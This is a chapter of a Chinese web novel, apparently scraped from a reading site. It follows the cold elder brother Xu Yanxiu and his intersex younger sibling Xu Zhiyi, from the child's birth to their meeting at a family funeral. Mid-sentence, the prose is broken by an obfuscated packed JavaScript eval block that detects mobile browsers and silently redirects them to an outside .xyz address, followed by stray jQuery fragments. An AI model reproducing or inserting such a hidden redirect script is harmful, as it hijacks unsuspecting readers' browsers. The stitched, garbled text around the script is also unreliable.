暮春悄然离去，空气中隐隐飘来初夏的气息。
天色璀璨明朗，五月的Y城先一步快进到梅雨季。
乌云蓄着瓢泼大雨，也不急着下，连着几日磨磨蹭蹭，每天随心情随意落下点滴。
气象台预计未来十几天将持续小雨天气，许栀意就是在其中某天出生的。
说来凑巧，他降生的那天，天光无限好，阳光将数日淋湿透底的地面晒干，整座Y城干燥温暖。
五岁的许砚修站在病房门口，爷爷立在另一侧，手持一根木金权杖，精神矍铄满面严肃，管家贴心推开房门。
病房空旷明亮，病床上躺着一位筋疲力尽的母亲，她全身被汗水浸透，脸色苍白，累到连一根手指都抬不起来。
婴儿床放置在病床边，出生没多久的婴儿全身包着小被子，像蚕蛹一样依偎在小床上。
小小一团，皮肤通红，一张圆脸皱巴巴。
许砚修沉默将轻描淡写的视线收回，耳边爷爷与医生的对谈清楚真切：
“他这个身体，双性人？能不能治。”
“最快也要等到孩子三岁……”
“……”
这场对话极不愉快，十分钟后，爷爷吹胡子瞪眼摆手离开，并没有叫上许砚修。
床头柜摆着一个透明花瓶，白色栀子泡在晶莹透亮的水里，袅袅散开淡淡花香。
许砚修的母亲——江湘女士，眉目流转间充满哀伤。
年幼的许砚修看穿她内心哀莫大于心死，冷眼旁观她的痛苦。
江湘女士费力扭过头，眼神再无波澜：“你和你爸爸，真是一个模子刻出来的。”
都是一样的冷心冷血，精致的利己主义，给人一种暴雪冰川的冷峭感。
许砚修压下眼睫，神似许官山三分，嘴角扯出一抹轻笑。
这是对江湘女士无声的嘲讽，更是在提醒她，是她先放弃他的。
这场没有硝烟的对持由几声婴儿的哭啼终结。初生儿的哭声尖利刺耳，上一秒还闭着眼酣睡，下一秒就毫无预兆发出暴鸣。
那张脸变得更加皱巴了，江湘女士脆弱的神经被孩子的哭声挑紧，她高呼着“不要吵了，你能不能放过我！”
许砚修淡定掠过一眼，旋即头也不回向外走去，管家了然跟上他的步伐。
走到医院门口，许砚修才注意到医院里种植了大片栀子树，细直的树干托着一团团球状叶群，翠绿色的树叶上缀着清秀的白花瓣。
花叶空隙的光影黄晕斑驳，微风拂过，甜腻的香味无孔不入。
黑色宾利停在正门口，惹来四面八方的注目，许砚修上车前定眸看了会，又不留痕迹转移视线。
“砚修，回去之后，抄一遍《心经》。”许冠军丢下不容置噱的话语。
随后闭目养神，爬满皱纹的双手有规律地摩挲着权杖的金球。
“嗯。”许砚修倚靠在车门边，语调平直应答。
这几日的阴蒙也像窗外一闪而过的街景，化作模糊的光点难以捕捉。
许砚修想起病房里那几枝栀子，白绿相映开得正盛，可盛极必衰，甚至已经能预想到未来凋敝的景象。
他又想起小床上柔软易碎的婴儿，在这个世界上，他又多了一位亲人，被爷爷定义为“怪物”的妹妹。
他向来对亲情淡薄，妹妹对他而言，只是一个有着血缘关系的不相干的人，对此，他内心没有任何波动。
医院探望是许砚修最后一次见江湘女士，也是与许栀意相遇的第一面。
“南风知我意，吹梦到西洲。”
恰逢栀子盛放时节，江湘女士为他取名为栀意。
对这个畸形儿，她实在不喜，可母亲为数不多的责任感还是驱使她为许栀意选个好名字，再多的，江湘女士统统甩手掌柜不管。
许砚修更管不着，几近三年光阴，他在许家老宅日复一日过着克己复礼的乏味日子。
这三年间他们所有人的生活都发生了天翻地覆的变化。
江湘女士痛失两个孩子的抚养权，从许家撕下一层厚厚的肥油远走国外并声称永不回国；许官山生意场上失利，许家势力重回许冠军股掌间。
直至今日，许官山在国外磕药磕多猝死在女人怀里。
八岁的许砚修听到这个消息后拧紧眉峰，只说三字：“知道了。”
口吻淡漠，仿佛去世的并不是自己的生父，而是路边随处可见的阿猫阿狗。
许官山下葬那天，是许砚修见许栀意的第二面，天气晴，又是艳阳天。
肃穆的庄园经过白菊与□□的雕饰显得更加庄严，偌大的空间被花束填满，丧乐压低声响，将悲伤的氛围渲染得无比厚重。
宾客们鱼贯而入，许冠军也迅速进入状态装作悲痛万分的模样，西装革履守在棺材前，在众人劝慰的话语下，留下鳄鱼的眼泪。
他今年五十岁，保养得当的皮囊看上去只有三十出头的样子，都说虎毒不食子，但许冠军够狠、有魄力，年少时私生子上位，人到暮年自然不肯拱手退位。
哪怕那人是自己的亲儿子。也许为许官山流下的泪，也掺杂了那么几分真心，但他的双眼早已被利益与权利熏染蒙蔽。
其他人也都心知肚明，毕竟不会有爱子深厚的父亲，会请十个法师超度自己未过头七的儿子，可阳奉阴违的作秀谁不会呢。
青烟缭绕，肃静的场景在许砚修眼底变成滑稽的搞笑电影，许冠军成为最佳影帝的不二人选。
葬礼间隙，许砚修厌倦地捏了捏鼻梁，径自朝阁楼走去，顺着老旧的楼梯，手掌轻易推开木门，眼神不经意落在屋内的陈设。
还是和往常一样，应该是被下人精心打理过，每一件物品都一尘不染。
许砚修环视一圈，最后将意味不明的目光落在两位不速之客身上，一个保姆和一个小孩。
那是许栀意。
阔别三年，许砚修一眼就认出来，这就是那个裹在襁褓中啼哭难听的妹妹，现在已长成小姑娘的样貌。
白白瘦瘦，阁楼狭小的窗棂透过几束光线，打在他的发丝上，宛如镀了一层薄薄的光釉。
太瘦了，他穿着一件黑色裙子，裙摆刚过膝盖，露出纤细的小腿。
许砚修默不作声凝视几秒，无端想起常来光顾院子的麻雀，灰扑扑的羽毛、牙签似的双腿，体小脸尖。
“少爷。”保姆温柔出声，两手搭在许栀意单薄的肩上，“这是栀意妹妹，家主怕他受惊扰就让我们来这了。”
许栀意眨着一双橄榄色的眼睛，因为过分羸弱，巴掌大的小脸衬得双眸更大更亮，他怔怔不说话，小手拉着保姆的裤脚，往后退了几步。
那双安静空灵的绿眼睛里充满好奇与害怕。
许砚修闻言冷笑，怕惊扰？许冠军总有太多说辞，这说法他自己听了不会发笑吗，怕是说着说着自己也信了。
“嗯。”许砚修气定神闲应声敛下眉目，正准备抬脚转身，保姆的声音又再次传来：
“栀意，这是哥哥。”
许栀意望向许砚修，从他刚进来开始，许栀意就一直乖乖抬头仰望着他。
“少爷，栀意还不会说话，但他很听话，我也经常在家告诉他，您是他的哥哥。”保姆语速轻缓，脸上挂着公式化的微笑。
许砚修想起来，外界传得沸沸扬扬，说许家千金是天生哑巴命犯孤煞，害得许官山妻离子散，更有甚者大言不惭道，许官山就是被这个不男不女的孩子克死了。
三岁还不会说话，医院诊断不出任何问题，将病因归为心理障碍。
从出生起被养在三环外，每个月用一笔少得可怜的营养费打发，不会说话反而才是正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559836|171355||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
常的。
许砚修神情淡然，他站在许栀意身前，远超同龄人的身高将许栀意瘦小的矮个挡得严严实实。
窗外悠扬的音乐还在继续演奏，逼仄的阁楼里只有几束微弱的光作伴，许栀意像一只精致的洋娃娃，身体幅度轻轻动了一下。
“哥……哥……”
他的呼吸滚烫，喉咙带有发涩的灼热滋味，吐出在心里默念过无数次到滚瓜烂熟地步的称谓。
许栀意第一次说话、第一次叫人、第一次勇敢，仅许砚修可见。
每个人在幼年时期被引导着学习语言时，第一个词往往都是爸爸或者妈妈。许栀意不一样，保姆带他长大，教他说的第一个词是哥哥。
哥哥，许砚修，他未曾见过面的至亲，却被告知是这个世界上最爱他的人。
许栀意不会说话，但他愿意听，潜移默化将依赖藏进心底。
骗子。许栀意扑闪的浓密睫毛颤起，哥哥分明不认识自己，哥哥不是全世界最爱自己的人。
保姆讶然看向许栀意，搭扣在他肩骨的手掌收拢些许，不可置信的神色显露无疑。
学不会开口说话的许栀意终于在三岁那年松口，发声艰难，嗓音清脆，嘴唇一张一合。
时间一分一秒流逝，小女孩扬着脖颈，骄傲得如同白天鹅般，洁白的牙齿咬着下嘴唇，缓缓张口，重复一遍：“哥哥。”
这一次比起上一次流畅很多，带着小孩独有的稚气童音。
他叫自己哥哥，许砚修丝毫不为所动。
冷淡掀起眼皮，利落转过身，看样子是要走了。
手指触碰到房门边缘，即将推开房门之际，许砚修又遽然扭过头。
许砚修迈着沉稳的步伐，三步并作两步与许栀意相对而立，保姆在他眼中是可有可无的空气。
他抬手，两指捏住许栀意尖尖的下巴，拇指陷进软绵绵的皮肤里，像陷进冬季的棉被里。
嗓音自带与这个年纪不符的稳重：“再叫一次。”
再叫一次，我就带你走。
许栀意吃痛地吸了口气，宛如两根柳条般细长的手臂攀上许砚修的手腕，身躯微乎其微抖了一瞬。
“哥哥。”这是许栀意第三次叫许砚修哥哥，尾音上翘，声音又小又轻。
圆润的鼻头不安地翕动几下，杏眸快速眨动，他紧张到吞咽口水的细微动作，令喉咙下意识划过薄弱的颈肉。
见此，许砚修不由得勾起唇角。
这是第三次，他决定带许栀意走。
有时候血缘真的很奇怪，时隔三年之久，又把他们绑在一块，就像是命中注定。
哥哥二字像契约又像是誓言，许砚修很难形容自己的心情，就好像一个人在空寂苍茫的雪地里走太久，偶遇到一捧熊熊燃烧的篝火。
所以想留住来之不易的热源，这不是对亲情束手无策，他是对许栀意无力抵抗。
当妹妹喃喃低语倾泻出那两个字，一切的一切都覆水难收，是诅咒亦是良缘。
许砚修放下手腕，许栀意低着头拉他，什么也不说，安心把自己交给他，跟着他走出阁楼。
房门彻底落锁的前几秒，许栀意最后回过头看了一眼，保姆两手摆在小腹上，笑容如常。
他又看了看拉着自己的哥哥，背影已经有未来高峻沉着的影子，他用自己的小手紧紧握住许砚修的手指，引得许砚修侧目。
许栀意不明所以睁大双眼。
柔顺的白发紧贴着脸颊，全身上下唯一保有肉感的面庞安静接受明灭的灯光，无辜的双眸始终闪烁着。
许栀意温热的体温通过指腹的接触传进许砚修的左心房，暖流不动声色钻进冰冷的心间。
他要将许栀意的命运与自己牢牢绑在一起，永不分离。
这个世界上不该有相同孤独的两个人。